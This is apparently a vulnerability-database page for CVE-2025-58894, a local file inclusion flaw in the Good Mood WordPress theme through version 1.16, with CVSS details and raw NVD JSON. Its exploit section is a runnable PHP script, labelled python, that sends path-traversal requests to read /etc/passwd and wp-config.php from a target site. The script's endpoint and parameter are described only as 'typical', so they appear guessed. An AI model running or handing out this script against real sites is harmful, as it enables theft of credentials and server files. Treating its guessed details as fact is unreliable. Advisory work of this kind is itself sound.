Security Vulnerability Report
中文
CVE-2025-58894 CVSS 8.1 HIGH

CVE-2025-58894

Published: 2025-12-18 08:15:59
Last Modified: 2026-04-27 19:16:16

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Good Mood good-mood allows PHP Local File Inclusion.This issue affects Good Mood: from n/a through <= 1.16.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:good_mood:*:*:*:*:*:wordpress:*:* - VULNERABLE
Good Mood主题 所有版本 <= 1.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-58894 PoC - WordPress Good Mood Theme Local File Inclusion * Author: Security Research * Description: PoC for LFI vulnerability in Good Mood theme <= 1.16 */ $target_url = 'http://target-site.com/'; $theme_path = 'wp-content/themes/good-mood/'; // Vulnerable parameter - typical file inclusion point $vulnerable_file = 'inc/ajax.php'; $param_name = 'template'; // Read sensitive files $files_to_check = [ '../../../../../../../../etc/passwd', '../../../../../../../../windows/win.ini', '../../../../../../../../wp-config.php', '../../../../../../../../../etc/passwd', '../../../../../../../../../var/www/html/wp-config.php' ]; foreach ($files_to_check as $file) { $url = $target_url . $theme_path . $vulnerable_file . '?' . $param_name . '=' . urlencode($file); $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Successfully read: $file\n"; echo "Response length: " . strlen($response) . " bytes\n"; echo "First 500 chars:\n" . substr($response, 0, 500) . "\n\n"; } } echo "[*] PoC execution completed\n"; echo "[*] Check if target is vulnerable by reading /etc/passwd\n"; ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58894", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:15:58.687", "lastModified": "2026-04-27T19:16:16.420", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes Good Mood good-mood allows PHP Local File Inclusion.This issue affects Good Mood: from n/a through <= 1.16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:good_mood:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.16", "matchCriteriaId": "635DB5C9-46C1-4EE9-B4F6-DBF7FAE412EC"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/good-mood/vulnerability/wordpress-good-mood-theme-1-16-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}